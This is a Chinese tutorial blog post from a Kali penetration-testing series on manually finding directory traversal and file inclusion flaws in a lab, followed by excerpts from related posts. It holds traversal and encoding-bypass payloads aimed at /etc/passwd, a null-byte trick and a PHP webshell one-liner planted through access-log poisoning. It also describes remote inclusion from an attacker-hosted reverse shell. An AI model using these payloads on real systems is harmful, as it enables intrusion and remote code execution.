小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

手动漏洞挖掘

漏洞类型

#Directory traversal 目录遍历【本台机器操作系统上文件进行读取】

使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录【默认为:/var/www/】之外的其他操作系统文件(如:/etc/passwd/)。形成根源:目录权限限制不严格

#File include文件包含【1、include本地文件包含LFI;2、远程系统文件包含RFI(可传入木马)】

通常为如include函数,可以将web根目录以外的目录包含进来。根源:include函数对输入变量限制不严

#此两种漏洞类型的利用方法和实现效果完全相同。

 注:kali中默认集成一些攻击向量字典,/usr/share/wfuzz/wordlist/vulns

##################################################################

默认情况下, metasploitable只有文件包含漏洞,没用远程文件包含漏洞

#修改metasploitable配置文件

sudo vi /etc/php5/cgi/php.ini

/allow_url            搜索

sudo /etc/init.d/apache2 restart          重启apache服务

##########################################################################

漏洞利用

首先,观察特点、特征等【如:?page=a.php  ?home=b.html    ?file=content】;然后是表单或者URL地址

经典测试方法

/etc/passwd/    一个普通用户也可以读取的文件,常用于测试

1、?file=../../../../etc/password

解析:无论是windows系统还是linux,都有两个特殊目录

.     表示当前目录

../    表示当前目录的父目录(上一级目录)

“../”   越多越好,是因为可以此跳转到根目录

#也可以直接使用绝对路径?page=/etc/passwd,但是目录遍历漏洞不使用,需使用“../”

2、?page=file:///etc/passwd【文件系统访问,file后面要求是绝对路径】/etc/passwd

3、?home=main.cgi【源码内容/配置信息等】

4、?page=http://www.a.com/1.php(包含其他网页文件)【远程文件包含】

可自己做一个web server,在上面放置一个反弹shell

?page=http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤

当提示:找不到***文件,则应该可以判断有过滤机制

在php5.3之前,存在这种绕过限制

“.”     “%00”(通俗有效,表示控制符)【在php语言格式,当遇到%00,则忽略其后面的内容】

例如:?flie=a.doc%00.php

使用多种编码尝试【每个字符都可以做编码尝试,通常来说,128以下的ASCII码都不会被过滤】

特殊字符:"."    "/"            #英文字符肯定不会被过滤

######################################################################

#不同操作系统的路径特征字符

#类UNIX系统

根目录:/

目录层级分隔符:/

#windows系统

C:\

\或/

######################################################################

编码

最常用:URL编码【若一层编码不足以绕过,可使用双层或多层URL编码,前提:密文能被服务器解码】

目的:目标服务器能正常地对编码进行解码,并且能查看想查看的内容,同时能够绕过

%2e%2e%2f                           解码 ../


%2e%2e%5c                          解码 ..\
%252e%252e%255c              解码 ..\                 【双层编码:特殊字符%被编码为%25】

Unicode/UTF-8       【非英文字符编码】

..%c0%af                 解码 ../
..%u2216
..%c1%9c                解码 ..\

#可使用在线工具

######################################################################################

其他系统路径可能使用到的字符

? file.txt...
? file.txt<spaces>        #空格
? file.txt” ””
? file.txt<<<>>><
? ./././file.txt
? nonexistant/../file.txt          #输入一个不存在的目录【很多操作系统已经过滤】

UNC路径【windows系统文件共享】

? \\1.1.1.1\path\to\file.txt

注:可提前将常见的字符单个编码,在两两或任意组合,形成一个字典文件,利用burpsuite中的intruder进行攻击可提高效率

######################################################################################

特例:无法从URL中查看任何迹象,其位于http请求头中的cookie

代码:

攻击:【注入位置为cookie信息】

结果:

注:任何变量都要进行验证

##########################################################################################

实例演示

本地文件包含LFI

查看文件

代码执行【特殊情况下:通过服务器的访问日志,实现代码注入】

<?php echo shell_exec($_GET[‘cmd‘]);?>

Apache access.log       【前提:其他用户对该文件有读取权限】

然后在浏览器中访问该文件

?page=/var/log/apache2/access.log

#############################################################################

注:Linux系统中,当你对一个文件赋予了权限的同时,要保证其层级目录也被赋予的相同的权限

#############################################################################

远程文件包含RFI【相对本地包含,机率较低】

验证:

危害:

低等级

中等级

绕过思路【只过滤一次】

1、编码

2、混插字符

高等级限制

时间: 2024-08-05 19:36:48

小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含的相关文章

小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行. 漏洞类型--远程命令执行 1.phpMyadmin 安装在web服务器中的web接口,专门用来管理MySQL数据库.对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup. a.探索PHP网站(可根据b

小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘原则[会比自动扫描器发现的漏洞要多,要全面] 1.每一个变量都进行尝试 2.所有头[如:cookie中的变量] 3.逐个变量删除 #####################################################################################

小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少与目标系统交互] Httrack:将WEB可下载的页面下载到本机,再进行本地检查[kali下安装] ##可到此网站获取代理:hidemyass.com[免费代理需小心] 扫描工具-Nikto #基于WEB的扫描工具,基本都支持两种扫描模式.代理截断模式,主动扫描模式 手动扫描:作为用户操作发现页面存

小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探头. 优点:速度比较快[多路单线程,全异步网络I/O,消除内存管理和调度开销,支持启发式自动内容识别],误报相对低 使用方式:[https://my.oschina.net/u/995648/blog/114321] 基本命令使用方式 skipfish -o test http:1.1.1.1  

小白日记33:kali渗透测试之Web渗透-扫描工具-Burpsuite(一)

扫描工具-Burpsuite Burp Suite是Web应用程序测试的最佳工具之一,成为web安全工具中的瑞士军刀.其多种功能可以帮我们执行各种任务.请求的拦截和修改,扫描web应用程序漏洞,以暴力破解登陆表单,执行会话令牌等多种的随机性检查.[属于重量级工具,每个安全从业人员必须会的]但不是开源软件,有其免费版版,但在free版没有主动扫描功能,可用于手动挖掘.[有其破解版,适合个人使用]所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架.

小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一

小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页面部分内容,而非整个页面 降低带宽使用,提高速度 提升用户体验 后台异步访问 AJAX组件 Javascript:AJAX的核心组件,使用XMLHTTPRequest对象接口向服务器发起请求,接受并处理服务器响应数据 Dynamic HTML (DHTML) 早于AJAX出现,通过javascrip

小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)

扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其他子目录也会被爬到[右键,Add Scope] #爬网参数设置 ###爬到页面中仍需要身份认证的页面,需重复输入,也可以忽略. #可导出 #################################################################### burpsuite支持两

小白日记32:kali渗透测试之Web渗透-扫描工具-QWASP_ZAP

扫描工具-QWASP_ZAP 十大安全工具之一,集成性工具,功能完善,而且强大.既可做主动扫描,也可做截断代理.开源免费跨平台,简单易用,体验相对混乱,但在主动扫描方面,相对占优.[kali集成] ####建议选择第二项 ####注意检查更新 更新与插件安装 安装插件release和beta[release:成熟版  beta:测试版  alpha:不成熟版] 截断代理[结合手动爬网] 默认情况下,代理功能自启动 1.启动浏览器代理 2. 2.主动扫描 一.快速爬网扫描 二.直接扫描爬到的内容